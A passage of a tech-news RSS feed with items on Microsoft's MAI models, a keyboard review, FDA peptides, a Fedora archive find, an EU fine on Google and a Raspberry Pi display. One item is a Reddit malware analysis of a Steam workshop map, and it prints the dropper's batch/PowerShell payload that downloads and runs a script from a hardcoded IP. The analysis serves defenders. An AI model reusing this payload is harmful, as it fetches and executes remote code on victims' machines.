tasks — while being small enough to run on Nvidia's older H100 and even A100 GPUs rather than requiring the latest-generation accelerators.</p><p>That hardware detail deserves emphasis. Every major AI company is fighting for allocation of cutting-edge chips, and a model that delivers frontier-adjacent quality on two-generation-old silicon fundamentally changes the deployment economics. It also frees the newest hardware — including Microsoft's now-operational GB200 cluster — for training rather than serving.</p><h2><b>Satya Nadella's 'frontier diffusion' manifesto redraws the OpenAI relationship</b></h2><p>Microsoft CEO Satya Nadella framed the announcements in a lengthy post on X titled "<a href="https://x.com/satyanadella/status/2080329851127669104">Frontier Diffusion &amp; Control</a>," which functions as something close to a strategic manifesto. "We can now take saturated frontier capabilities and deliver them at scale and at lower cost through models optimized for high-usage products, while continuing to use frontier models for frontier needs," Nadella wrote, adding that Microsoft is "beginning to route traffic across our first-party surfaces to MAI whenever our models match or outperform frontier alternatives."</p><p>Translated from executive prose: capabilities that were state-of-the-art a year ago are now table stakes, and Microsoft believes it can replicate them cheaply for the specific, repetitive tasks that dominate real product usage. Why pay frontier prices for a frontier model when a user just wants to reformat a spreadsheet column?</p><p>Nadella was careful to note that "frontier models from OpenAI and Anthropic are part of the orchestration system alongside MAI" — but he also articulated a pointed principle of model independence, arguing that a company's evaluations "should continue to hill climb even when any given model has been removed." </p><p>“Keeping the harness, memory, context, and skills outside the model, he argued, is what gives Microsoft control. The subtext is hard to miss. Reuters reported in April that Microsoft’s <a href="https://www.reuters.com/legal/litigation/microsoft-end-exclusive-license-openais-technology-2026-04-27/">exclusive license to OpenAI’s technology</a> had been revised into a non-exclusive arrangement, and The Information reported last September that Microsoft had <a href="https://www.theinformation.com/articles/microsoft-buy-ai-anthropic-shift-openai">begun incorporating Anthropic models</a> into some products. Wednesday’s announcement completes the triangle: Microsoft as orchestrator, with its partners’ frontier models as interchangeable components and its own models absorbing an ever-larger share of routine traffic.”</p><h2><b>Developers cheer cheaper task-specific models while skeptics question Microsoft's track record</b></h2><p>The response online captured both the appeal and the skepticism surrounding the strategy. "I love when people use small models for niche tasks," wrote one X user, <a href="https://x.com/mavihsk/status/2080330529547993252">@mavihsk</a>, responding to Nadella's post. "Why do I have to use the all-knowing model just to change my field in Excel?" Another user, <a href="https://x.com/nabu_lines/status/2080343512780837226">@nabu_lines</a>, distilled the pitch neatly: "cost and performance both improve when you stop overusing the biggest model."</p><p>Others were less charitable about Microsoft's execution track record. "Microsoft is the worst when it comes to listening to user feedback," wrote designer <a href="https://x.com/designedbyabin/status/2080332368301412434">@designedbyabin</a>, arguing the company "will lose the AI race because they repeatedly failed to understand user needs." And one user, <a href="https://x.com/tokenoverflow/status/2080386145712824694">@tokenoverflow</a>, offered a drier critique of the model-independence pitch: "i want it keep hill climbing after removing microsoft."</p><p>The skeptics raise a fair point. Microsoft's self-reported metrics — accept rates, save rates, GPU savings — come from its own internal evaluations, not independent benchmarks, and the company chooses which comparisons to publish.</p><p>But the strategy's logic does not depend on any single number. Nadella's framing that software now has "<a href="https://x.com/satyanadella/status/2080329851127669104">real marginal cost for the first time</a>" explains why Microsoft is obsessive about tokens, GPUs, and serving costs: when AI features run on every keystroke across a billion-user product portfolio, an 84% GPU cost reduction is not an optimization. It is the difference between a viable business and a money pit.</p><h2><b>Why Microsoft is turning its internal AI playbook into an Azure product</b></h2><p>The final piece of the strategy is that Microsoft is selling the playbook, not just the models. Nadella explicitly positioned the hill-climbing approach as "a template for every other AI native, SaaS, or Enterprise company," and Microsoft is packaging the toolchain through Foundry and what it calls Frontier Tuning — letting enterprises train specialized models against their own proprietary evaluations and reinforcement learning environments. That turns Microsoft's internal cost-cutting exercise into an Azure product, and it gives enterprise customers a reason to run their AI workloads on Microsoft's cloud even if the models themselves come from elsewhere.</p><p>The company's emphasis on models trained "on clean, traceable, enterprise-grade data, without distillation from third-party models" serves the same commercial end. In an industry facing mounting scrutiny over training data provenance, Microsoft is betting that enterprise buyers — and courts — will care where model capabilities come from. Microsoft says it is now extending the hill-climbing approach to <a href="https://copilot.microsoft.com/">Copilot Chat</a>, <a href="https://outlook.live.com/mail/">Outlook</a>, and <a href="https://www.microsoft.com/en-us/microsoft-365/powerpoint">PowerPoint</a>, and both new models are available in public preview through <a href="https://azure.microsoft.com/en-us/products/ai-foundry">Microsoft Foundry</a> and the <a href="https://playground.microsoft.ai/">MAI Playground</a>. "None of this is an endpoint," the company wrote. "We're just getting started."</p><p>Seven years ago, <a href="https://www.cnbc.com/2024/08/10/rise-of-openai-microsofts-13-billion-artificial-intelligence-bet.html">Microsoft bet more than $13 billion</a> that OpenAI would build the future of AI. Wednesday's announcement suggests the company has since learned a cheaper lesson: the future of AI may belong to whoever builds the frontier, but the profits belong to whoever makes it ordinary.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Keychron Q6 HE 8K Review: A great mechanical keyboard for work and play]]></title>
<description><![CDATA[The Keychron Q6 HE 8K is a solid mechanical keyboard with magnetic switches. While it's not cheap, it's got more than enough to give a great typing experience on Mac.Keychron Q6 HE 8KWhen it comes to mechanical keyboards, Keychron stands out as one of the industry leaders. All thanks to its vast ...]]></description>
<link>https://tsecurity.de/de/3690478/ios-mac-os/keychron-q6-he-8k-review-a-great-mechanical-keyboard-for-work-and-play/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690478/ios-mac-os/keychron-q6-he-8k-review-a-great-mechanical-keyboard-for-work-and-play/</guid>
<pubDate>Fri, 24 Jul 2026 02:10:25 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The Keychron Q6 HE 8K is a solid mechanical keyboard with magnetic switches. While it's not cheap, it's got more than enough to give a great typing experience on <a href="https://appleinsider.com/inside/mac" title="Mac" data-kpt="1">Mac</a>.<br><br><div><img src="https://photos5.appleinsider.com/gallery/68283-143936-KeychronQ6HE8KReview5-xl.jpg" alt="White mechanical keyboard on wooden desk, featuring pastel gray and blue keycaps, subtle green backlighting under keys, full number pad, and connected white cable at the top left" height="738"><br><span>Keychron Q6 HE 8K</span></div><br>When it comes to mechanical keyboards, Keychron stands out as one of the industry leaders. All thanks to its vast array of styles, colors, and features aimed at both Windows and <a href="https://appleinsider.com/inside/macos" title="macOS" data-kpt="1">macOS</a> users.<br><br>The <a href="https://www.amazon.com/Swappable-Backlight-Magnetic-Switch-Version/dp/B0F9KYS9TS?th=1&amp;tag=apinsiderreview-20" rel="nofollow">Keychron Q6 HE 8K</a> is a beefy new release, and I put it through an extended test drive in my ongoing series of reviews of Keychron products. It's an ever-continuing search for the mechanical keyboard that will earn a permanent position on my workspace.<br><br><br> <a href="https://appleinsider.com/articles/26/07/23/keychron-q6-he-8k-review-a-great-mechanical-keyboard-for-work-and-play?utm_source=rss">Continue Reading on AppleInsider</a> | <a href="https://forums.appleinsider.com/discussion/245044?urm_source=rss">Discuss on our Forums</a>]]></content:encoded>
</item>
<item>
<title><![CDATA[An FDA Panel Just Endorsed These Unproven Peptides]]></title>
<description><![CDATA[Outside experts—some with a vested interest in peptides—recommended adding a number of the amino acids to the FDA's bulk list, including the “Wolverine stack” touted by Joe Rogan and other influencers.]]></description>
<link>https://tsecurity.de/de/3690465/it-nachrichten/an-fda-panel-just-endorsed-these-unproven-peptides/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690465/it-nachrichten/an-fda-panel-just-endorsed-these-unproven-peptides/</guid>
<pubDate>Fri, 24 Jul 2026 02:03:23 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Outside experts—some with a vested interest in peptides—recommended adding a number of the amino acids to the FDA's bulk list, including the “Wolverine stack” touted by Joe Rogan and other influencers.]]></content:encoded>
</item>
<item>
<title><![CDATA[Workshop map for MECCHA CHAMELEON is a malware dropper (full breakdown)]]></title>
<description><![CDATA[Table of Contents  Intro Initial Symptom First Look at the Workshop Files Verifying the Asset Files AssetRegistry.bin Reveals the First Clue Opening the UE5 Asset Container Reverse Engineering the Blueprint Extracting the Embedded Payload Analyzing the Dropper Script Confirming Execution on an Af...]]></description>
<link>https://tsecurity.de/de/3690349/malware-trojaner-viren/workshop-map-for-meccha-chameleon-is-a-malware-dropper-full-breakdown/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690349/malware-trojaner-viren/workshop-map-for-meccha-chameleon-is-a-malware-dropper-full-breakdown/</guid>
<pubDate>Fri, 24 Jul 2026 00:21:11 +0200</pubDate>
<category>⚠️ Malware / Trojaner / Viren</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<!-- SC_OFF --><div class="md"><h1>Table of Contents</h1> <ul> <li>Intro</li> <li>Initial Symptom</li> <li>First Look at the Workshop Files</li> <li>Verifying the Asset Files</li> <li>AssetRegistry.bin Reveals the First Clue</li> <li>Opening the UE5 Asset Container</li> <li>Reverse Engineering the Blueprint</li> <li>Extracting the Embedded Payload</li> <li>Analyzing the Dropper Script</li> <li>Confirming Execution on an Affected PC</li> <li>Did the Second Stage Execute?</li> <li>Analysis Summary</li> <li>Limitations &amp; Unknowns</li> <li>IOCs</li> <li>Final verdict</li> </ul> <p>A couple of my friends reported seeing a command prompt window briefly appear while Steam was downloading a custom workshop map. The map was being downloaded through the game's in-game lobby and, once the download completed it immediately began loading for the match. Since the command prompt window appeared during this transition, I decided to investigate the workshop files.</p> <p>What I found was a seemingly ordinary workshop map that contained what appears to be a malware dropper, despite having passed workshop review.</p> <p>I'm writing this up because, as far as I know, the map is still available, and because the techniques it uses to hide are worth understanding if you download workshop content. While there are still a few parts of the execution chain I can't fully explain, the artifacts themselves are interesting from a reverse engineering perspective.</p> <p><a href="https://preview.redd.it/nn7j9wf4q1fh1.png?width=1265&amp;format=png&amp;auto=webp&amp;s=0276954f24bafc16cee6b2fc2569c12bedeaea51">https://preview.redd.it/nn7j9wf4q1fh1.png?width=1265&amp;format=png&amp;auto=webp&amp;s=0276954f24bafc16cee6b2fc2569c12bedeaea51</a></p> <p><strong>1): The Initial Symptom</strong></p> <p>A black command prompt window flashed on screen for about a second before disappearing. It appeared while Steam was still downloading the workshop map, just as the game was transitioning into loading it for the match. There were no crashes, error messages, or any other unusual behavior. On its own, it would have been easy to dismiss as Steam running a background process, but seeing a console window appear during a workshop download / match launch was unusual enough that I decided to investigate.</p> <p><strong>2): First Look at the Workshop Files</strong></p> <p>The workshop content is located here:</p> <pre><code>Steam\steamapps\workshop\content\4704690\3765145606\ </code></pre> <p>At first glance, there’s nothing suspicious in the folder. The contents are:</p> <pre><code>AssetRegistry.bin Preview.png Sample.vdf SampleMyUGCMecchaCModKit_Load-Windows.pak SampleMyUGCMecchaCModKit_Load-Windows.ucas SampleMyUGCMecchaCModKit_Load-Windows.utoc </code></pre> <p>There are no executables, DLLs, batch files, or scripts. The <code>.pak</code>, <code>.ucas</code>, and <code>.utoc</code> files are simply the standard Unreal Engine 5 asset container format used for packaging game content exactly what you would expect to see from a UE5 map or mod.</p> <p>This is worth emphasizing: if you were manually checking this folder for malware, there would be no obvious red flags here. Nothing in this directory suggests anything malicious. That is likely why it passed review in the first place.</p> <p><strong>3): Verifying the Asset Files</strong></p> <p>File extensions are easy to spoof, so I checked the actual file headers and scanned the contents for embedded executable data.</p> <p>The results:</p> <ul> <li>utoc starts with <code>-==--==--==--==-</code>, which is the real IoStore magic</li> <li>pak has the correct <code>0x5A6F12E1</code> footer magic</li> <li>no MZ/PE, ELF or ZIP headers anywhere in any file</li> </ul> <p>The files appear to be valid Unreal Engine asset containers, not disguised executables. There is no standalone executable payload present in this mod. If there is unexpected behavior, it would have to be occurring through the game’s normal asset-loading pipeline rather than from an included executable file.</p> <p><strong>4): AssetRegistry.bin Reveals the First Clue</strong></p> <p>This is the detail that stands out most from the entire investigation.</p> <p>AssetRegistry.bin is largely readable metadata. You can open it in a text editor and see references to the actors placed throughout the maps. Normally, it contains exactly the kind of information you would expect: StaticMeshActor, PointLight, PlayerStart, and other standard Unreal Engine objects.</p> <p>However, one Blueprint actor immediately stands out:</p> <pre><code>/Game/Mods/NewMap.NewMap:PersistentLevel.BP_RCE_Test_C_0 </code></pre> <p>Its class resolves as:</p> <pre><code>BP_AmbientController_C </code></pre> <p>Those two names together are unusual. The class name suggests a harmless environmental or lighting-related system especially since it appears under folders such as Environment and Lighting. However, the placed actor still retains the older name BP_RCE_Test_C_0.</p> <p>In Unreal Engine, this can happen because placed actors keep the name they were created with even if the Blueprint class is later renamed. Renaming the class does not automatically rename every existing instance placed in maps.</p> <p>That means the BP_RCE_Test name likely existed at an earlier point in the asset’s history. Whether intentional or not, the old identifier remains embedded in the map metadata.</p> <p>The same reference appears across three separate maps included in the workshop item, including a NewMap_Backup file that appears to have been left in the upload.</p> <p><strong>5): Opening the UE5 Asset Container</strong></p> <p>The Blueprint data is stored inside the Oodle-compressed .ucas container. Reading the accompanying .utoc metadata reveals:</p> <pre><code>chunks ............ 57 blocks ............ 131 (130 Oodle-compressed) flags ............. Compressed | Indexed </code></pre> <p>No encryption flag is present, meaning the container can be inspected using available Unreal Engine asset tooling and compatible Oodle/Kraken decompression support. All 131 blocks decompress successfully, producing roughly 5.3 MB of extracted data.</p> <p>The container contains 55 assets in total: materials, meshes, textures, four maps, and three Blueprints. Two of those Blueprints appear to be untouched sample assets from the official ModKit, containing no custom logic.</p> <p>Searching across the extracted asset data revealed only a small number of notable references:</p> <pre><code>ReceiveBeginPlay ....... 1 ToFile ................. 1 GetPlatformUserDir ..... 1 powershell ............. 1 </code></pre> <p>These references are concentrated in a single Blueprint rather than being distributed throughout the package. There does not appear to be additional hidden logic elsewhere in the container, which makes the relevant behavior easier to isolate and analyze.</p> <p><strong>6): Reverse Engineering the Blueprint</strong></p> <p>The complete function chain is:</p> <pre><code>ReceiveBeginPlay ↓ GetPlatformUserDir ↓ Replace ↓ Concat_StrStr ↓ FromString (JSON) ↓ ToFile </code></pre> <p>Despite the Blueprint being named like an environment or lighting system, the logic does not appear to perform any lighting, ambience, or world-management functions. Instead, it constructs a file path and writes data to disk.</p> <p>Tracing the Blueprint bytecode shows the path construction:</p> <pre><code>dir = GetPlatformUserDir() // C:/Users/&lt;user&gt;/Documents/ path = dir + "s.bat" </code></pre> <p>ReceiveBeginPlay is normally called when the map begins loading, which does not fully match the behavior reported by some users, who observed activity during the download process itself. That discrepancy is not explained by the Blueprint logic alone, so it is worth treating those reports separately from the behavior confirmed through asset analysis.</p> <p><strong>7): Extracting the Embedded Payload</strong></p> <p>A single embedded string inside the Blueprint contains the following data:</p> <pre><code>{"x\"&amp;if not defined _Z (set _Z=1&amp;start /min cmd /c %~f0&amp;exit) else ( powershell -w hidden -ep bypass -c iwr http://31.57.34.228/work/steamb.bat -OutFile $env:TEMP\s.bat; cmd /c $env:TEMP\s.bat&amp;exit)&amp;\"x":"1"} </code></pre> <p>The string is structured as a JSON/batch polyglot: it is valid JSON while also containing batch command syntax inside the JSON key. The command content is therefore preserved when written as JSON data, but can also be interpreted as a batch script if the resulting file is executed.</p> <p>This format is significant because the earlier Blueprint analysis showed that the file-writing step uses <code>ToFile</code>, which writes JSON data. The embedded content appears designed to satisfy that JSON requirement while retaining executable command syntax.</p> <p>The combination of a JSON-compatible wrapper and embedded command execution logic is not typical of normal Unreal Engine asset data and is a strong indicator that the content was deliberately constructed rather than being accidental or generated by the engine.</p> <p><strong>8): Analyzing the Dropper Script</strong></p> <p>The extracted script is also human-readable:</p> <pre><code>if not defined _Z ( set _Z=1 start /min cmd /c %~f0 exit ) else ( powershell -w hidden -ep bypass -c ^ iwr http://31.57.34.228/work/steamb.bat -OutFile $env:TEMP\s.bat cmd /c $env:TEMP\s.bat exit ) </code></pre> <p>The script uses a simple two-stage execution flow.</p> <p>On the first run, <code>_Z</code> is not defined, so the script sets the variable, launches a minimized copy of itself, and exits. This relaunch behavior explains the brief command window flash reported by some users. At this stage, the script is acting as a launcher rather than performing the main action.</p> <p>On the second run, the <code>_Z</code> variable is already present, so the script follows the alternate branch. It starts PowerShell with a hidden window, modifies the execution policy for that process, downloads <code>steamb.bat</code> from a hardcoded external address, saves it to the temporary directory, and executes it.</p> <p>The <code>_Z</code> check appears to exist solely to prevent the script from repeatedly relaunching itself.</p> <p>The script itself is relatively simple: there is no evidence here of persistence mechanisms, privilege escalation, or sophisticated obfuscation. Its main purpose appears to be retrieving and executing a second-stage script. That second stage is hosted externally, meaning its contents can change independently of the original mod package.</p> <p><strong>9): Confirming Execution on an Affected PC</strong></p> <p>On one affected system, I found a file that was byte-for-byte identical to the payload string embedded in the Blueprint. It was located at the exact path identified during the bytecode analysis.</p> <p>This confirms that the Blueprint logic was not just theoretical, the file-writing behavior observed during reverse engineering occurred on a real system.</p> <p><a href="https://preview.redd.it/hav7l33dq1fh1.png?width=2252&amp;format=png&amp;auto=webp&amp;s=9fc74ff8ac7e3607889cb9a4f052d8d73e0f2f32">https://preview.redd.it/hav7l33dq1fh1.png?width=2252&amp;format=png&amp;auto=webp&amp;s=9fc74ff8ac7e3607889cb9a4f052d8d73e0f2f32</a></p> <p><strong>10): Did the second stage execute?</strong></p> <p>The second-stage file, <code>%TEMP%\s.bat</code>, was not present on the affected machine. The PowerShell Operational log explains why:</p> <p><a href="https://preview.redd.it/srmpq28pq1fh1.png?width=1577&amp;format=png&amp;auto=webp&amp;s=6a2841345f423906fafaa570acd20d85636e3b70">https://preview.redd.it/srmpq28pq1fh1.png?width=1577&amp;format=png&amp;auto=webp&amp;s=6a2841345f423906fafaa570acd20d85636e3b70</a></p> <p>The download request failed with an HTTP 404 response at the time of execution. Because the file was never successfully retrieved, nothing was written to disk and the following <code>cmd /c</code> command had no script to execute.</p> <p>On this system, the second stage did not execute. The contents and behavior of the downloaded payload remain unknown because the external file was unavailable at the time of analysis.</p> <p>The address embedded in the script resolves to <code>31.57.34.228</code>. At the time of analysis, the IP address was geolocated to Amsterdam, Netherlands, and was associated with Blockchain Creek B.V. (ASN 207994).</p> <p>This information identifies the hosting infrastructure used by the download URL, but it does not by itself identify the operator of the server or establish attribution. The important finding is that the Blueprint attempted to retrieve an additional payload from an external location, rather than containing the final payload entirely within the workshop files.</p> <p><a href="https://preview.redd.it/y1b4bj6sq1fh1.png?width=2546&amp;format=png&amp;auto=webp&amp;s=141474bd203a7d6529591ae09487da2e35e58026">https://preview.redd.it/y1b4bj6sq1fh1.png?width=2546&amp;format=png&amp;auto=webp&amp;s=141474bd203a7d6529591ae09487da2e35e58026</a></p> <p><strong>11): Analysis Summary</strong></p> <p>Based on the evidence recovered from the workshop item, this should be treated as malicious content. That conclusion does not rely on a single indicator; it comes from the combination of several independent findings:</p> <ul> <li>The Workshop uploader account appears to have been created only about one week before the item was published</li> <li>The Workshop map currently does not allow users to leave comments or ratings</li> <li>The only Blueprint containing custom logic was originally identified as <code>BP_RCE_Test</code> and later appeared under a name consistent with a harmless environment or lighting controller.</li> <li>The Blueprint executes automatically through <code>ReceiveBeginPlay</code>, rather than requiring an intentional user action inside the map.</li> <li>Its logic writes data outside the game directory into the user’s Documents folder, which is unrelated to normal map or asset behavior.</li> <li>The written content is a deliberately structured JSON/batch polyglot, allowing data written through a JSON-only function to retain executable batch syntax.</li> <li>That script launches hidden PowerShell, bypasses the local execution policy for the process, retrieves a second-stage file from a hardcoded external address, and attempts to execute it.</li> </ul> <p>What remains unknown is the purpose of the final payload. The second-stage script was not successfully retrieved during analysis and was no longer available from the remote location, so its behavior cannot be determined. Claims that it was specifically an infostealer, loader, or another type of malware would be speculation without that payload.</p> <p><strong>12): Limitations &amp; Unknowns</strong></p> <p><strong>What does</strong> <code>steamb.bat</code> <strong>do?</strong></p> <p>Unknown. The second-stage payload was not delivered during analysis, so its final behavior cannot be determined from the available evidence.</p> <h1>IOCs</h1> <pre><code>Workshop item 3765145606 "Laser Tag Neon" (appid 4704690) comments and ratings disabled on the listing uploader account roughly one week old Asset BP_AmbientController.uasset (originally BP_RCE_Test_C_0) Dropped file %USERPROFILE%\Documents\s.bat C2 http://31.57.34.228/work/steamb.bat Second stage steamb.bat (never delivered, contents unknown) Asset build 2026-06-09 22:37:14 s.bat 210 bytes sha256 1ff540bc3c493a93059e602b414ba61027ed1a2b8a079f6197b0718f4a2101b6 md5 04d6dfadd5248c995951707e27520ade container utoc aea429fbb44d552c917c22018e838e4154e68a8cac5806f7a8e30b61586ba2a6 ucas fbd932faba4ec8d614fbd7a68636e177213259bafe2babdcdc47c2a8acd6d569 pak aa58f9061a4e39e3f5a28395c56cfa5b0072d90e66054894f9c8022e81e396c9 </code></pre> <p><strong>Final Verdict</strong></p> <p>Based on everything I found, I believe this workshop item is very likely malicious, but there are still parts of the execution chain I couldn't directly observe.</p> <p>What I can say with confidence is that the asset contains a Blueprint whose only meaningful purpose is to write a batch file outside the game's directory into the user's Documents folder. That batch file then attempts to launch PowerShell with the execution policy bypassed, download a second batch file from a hard-coded external server, and execute it.</p> <p>I can't think of a legitimate reason for a Steam workshop map to write a .bat file into a user's Documents folder and then use PowerShell to fetch and run another <code>.bat</code> file from the Internet. Even without knowing what the second stage contained, that behavior is extremely difficult to explain as anything other than a malware delivery chain.</p> <p>Could there be some edge case I'm missing? Absolutely. That's why I've tried to separate facts from assumptions throughout this write-up. But given the evidence recovered from the assets themselves, I think calling this a malicious dropper is the conclusion best supported by the data</p> <p>Further independent investigation is encouraged, particularly if additional evidence becomes available. For now, the workshop item and the uploader have been reported and flagged for review.</p> <p>Cheers and stay safe!</p> <p>FeintBe</p> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/feintbe"> /u/feintbe </a> <br> <span><a href="https://www.reddit.com/r/MalwareAnalysis/comments/1v4sged/workshop_map_for_meccha_chameleon_is_a_malware/">[link]</a></span>   <span><a href="https://www.reddit.com/r/MalwareAnalysis/comments/1v4sged/workshop_map_for_meccha_chameleon_is_a_malware/">[comments]</a></span>]]></content:encoded>
</item>
<item>
<title><![CDATA[Community Fedora Remix 12.3 hopefully soon to be archived :)]]></title>
<description><![CDATA[In a batch of software CDs I found at the thrift store long my interest in Linux, I found a previously unarchived version of Fedora. I will be posting it on archive.org as soon as I rip it. I also have a potentially-working copy of PCLinuxOS 2007, but on the computer I tested it on, it kicks me o...]]></description>
<link>https://tsecurity.de/de/3690328/linux-tipps/community-fedora-remix-123-hopefully-soon-to-be-archived/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690328/linux-tipps/community-fedora-remix-123-hopefully-soon-to-be-archived/</guid>
<pubDate>Fri, 24 Jul 2026 00:13:09 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<!-- SC_OFF --><div class="md"><p>In a batch of software CDs I found at the thrift store long my interest in Linux, I found a previously unarchived version of Fedora. I will be posting it on archive.org as soon as I rip it. I also have a potentially-working copy of PCLinuxOS 2007, but on the computer I tested it on, it kicks me out to a basic shell due to some kind of error. If I can get it to work, I can upload it stand-alone since it only seems to preserved in archives or Linux User magazine and !com magazine cover DVDs (the former or which has a LOT of potentially otherwise-unarchived distro versions)</p> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/Iheretomakeonepost"> /u/Iheretomakeonepost </a> <br> <span><a href="https://www.reddit.com/r/linux/comments/1v4lef3/community_fedora_remix_123_hopefully_soon_to_be/">[link]</a></span>   <span><a href="https://www.reddit.com/r/linux/comments/1v4lef3/community_fedora_remix_123_hopefully_soon_to_be/">[comments]</a></span>]]></content:encoded>
</item>
<item>
<title><![CDATA[EU Fines Google $1 Billion For Breaking Digital Antitrust Regulations]]></title>
<description><![CDATA[The European Union fined Google more than $1 billion for allegedly using Google Play and Search to steer users toward its own services and apps at the expense of competitors. The Associated Press reports: Google had recently lost its appeal of a $4.5 billion antitrust fine imposed by the EU for t...]]></description>
<link>https://tsecurity.de/de/3690226/it-security-nachrichten/eu-fines-google-1-billion-for-breaking-digital-antitrust-regulations/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690226/it-security-nachrichten/eu-fines-google-1-billion-for-breaking-digital-antitrust-regulations/</guid>
<pubDate>Thu, 23 Jul 2026 23:07:00 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The European Union fined Google more than $1 billion for allegedly using Google Play and Search to steer users toward its own services and apps at the expense of competitors. The Associated Press reports: Google had recently lost its appeal of a $4.5 billion antitrust fine imposed by the EU for throttling competition and reducing consumer choice through the dominance of its mobile Android operating system. The European Commission, the bloc's executive branch and highest antitrust enforcer, said it was acting in the interest of consumers after an investigation of Google.
 
"The best products should succeed because they're better, not because they're owned by the company running the search engine. And European consumers have a right to be told by app developers where to sign up to the best offers, even when the app store owner does not get a cut," said Teresa Ribera, the commission's Executive Vice President for Clean, Just and Competitive Transition.
 
Google's President of Global Affairs Kent Walker blasted the fine as "product degradation driven by a small group of self-serving complainants" that will have a negative impact on European businesses and consumers. He said that the EU's Digital Markets Act forces Google "to strip away real-time search features Europeans love -- like instant pricing and direct availability for hotels, flights, and restaurants -- and dismantle safety protections on Google Play."<p></p><div class="share_submission">
<a class="slashpop" href="http://twitter.com/home?status=EU+Fines+Google+%241+Billion+For+Breaking+Digital+Antitrust+Regulations%3A+https%3A%2F%2Fsearch.slashdot.org%2Fstory%2F26%2F07%2F23%2F2034235%2F%3Futm_source%3Dtwitter%26utm_medium%3Dtwitter"><img src="https://a.fsdn.com/sd/twitter_icon_large.png"></a>
<a class="slashpop" href="http://www.facebook.com/sharer.php?u=https%3A%2F%2Fsearch.slashdot.org%2Fstory%2F26%2F07%2F23%2F2034235%2Feu-fines-google-1-billion-for-breaking-digital-antitrust-regulations%3Futm_source%3Dslashdot%26utm_medium%3Dfacebook"><img src="https://a.fsdn.com/sd/facebook_icon_large.png"></a>



</div><p><a href="https://search.slashdot.org/story/26/07/23/2034235/eu-fines-google-1-billion-for-breaking-digital-antitrust-regulations?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[the PERFECT Raspberry Pi wall dashboard?]]></title>
<description><![CDATA[Author: NetworkChuck - Bewertung: 319x - Views:3894 This video is sponsored by NetworkChuck Coffee. Grab a bag of Default Route (my favorite) and fuel your next build: https://ntck.co/coffee

Raspberry Pi sent me the new Raspberry Pi Touch Display 2, the 10 inch portrait version, and I mounted it...]]></description>
<link>https://tsecurity.de/de/3690019/it-security-video/the-perfect-raspberry-pi-wall-dashboard/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690019/it-security-video/the-perfect-raspberry-pi-wall-dashboard/</guid>
<pubDate>Thu, 23 Jul 2026 20:49:01 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: NetworkChuck - Bewertung: 319x - Views:3894 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/34D1imLordU?autoplay=1&origin=http://tsecurity.de" frameborder="0"></iframe></p><p>This video is sponsored by NetworkChuck Coffee. Grab a bag of Default Route (my favorite) and fuel your next build: https://ntck.co/coffee<br />
<br />
Raspberry Pi sent me the new Raspberry Pi Touch Display 2, the 10 inch portrait version, and I mounted it on my studio wall to run all my Home Assistant and homelab stuff. It is a gorgeous little screen (1200x1920, real IPS, 10 finger touch, 400 nits) and at $80 it is a steal. There is one catch though, and a lot of you are not going to like it: this thing only works on the Raspberry Pi 5 and the Compute Modules. Your Pi 3 or Pi 4 will not work at all.<br />
<br />
In this video I unbox it, walk through everything that is new versus the old touch display, hit a wall when it powered on and did absolutely nothing (turns out you have to update the firmware on your Pi 5, the EEPROM, before it will recognize the screen), mount it with nothing but a drill and some screws, and finally turn it into a beautiful Home Assistant dashboard using an open source kiosk app called TouchKio. Whether you are building a smart home wall panel, a homelab status board, or you just want your Raspberry Pi to show off what it is doing, this is a really good option.<br />
<br />
Join the NetworkChuck Academy!: https://ntck.co/NCAcademy<br />
<br />
RESOURCES / LINKS:<br />
🌐 Raspberry Pi Touch Display 2: https://www.raspberrypi.com/products/touch-display-2/<br />
🛠️ TouchKio (open source kiosk app): https://github.com/leukipp/touchkio<br />
🏠 Home Assistant: https://www.home-assistant.io/<br />
🖥️ Proxmox: https://www.proxmox.com/<br />
📖 Update your Raspberry Pi firmware (EEPROM): https://www.raspberrypi.com/documentation/computers/raspberry-pi.html<br />
☕ NetworkChuck Coffee (Default Route): https://ntck.co/coffee<br />
<br />
TIMESTAMPS:<br />
0:00 - Unboxing the new Raspberry Pi Touch Display 2<br />
0:45 - What is new on the 10 inch portrait display<br />
1:50 - The catch: Raspberry Pi 5 and Compute Modules only<br />
2:48 - It powered on and nothing happened<br />
3:16 - The fix: updating your Raspberry Pi 5 firmware<br />
5:55 - Building the Home Assistant dashboard with TouchKio<br />
<br />
**Raspberry Pi provided the Touch Display 2 for this video, no strings attached. All opinions are my own.<br />
<br />
SUPPORT NETWORKCHUCK:<br />
☕☕ COFFEE and MERCH: https://ntck.co/coffee<br />
<br />
READY TO LEARN??<br />
🔥🔥Join the NetworkChuck Academy!: https://ntck.co/NCAcademy<br />
📚 CCNA Course: https://ntck.co/ccna<br />
<br />
FOLLOW ME EVERYWHERE:<br />
Instagram: https://www.instagram.com/networkchuck/<br />
X/Twitter: https://x.com/networkchuck<br />
Facebook: https://www.facebook.com/NetworkChuck/<br />
Join the Discord server: https://ntck.co/discord<br />
<br />
Some links in this description are affiliate links. If you buy through them, I may earn a small commission at no extra cost to you.<br />
<br />
#raspberrypi #homeassistant #homelab<br/></p>]]></content:encoded>
</item>
<item>
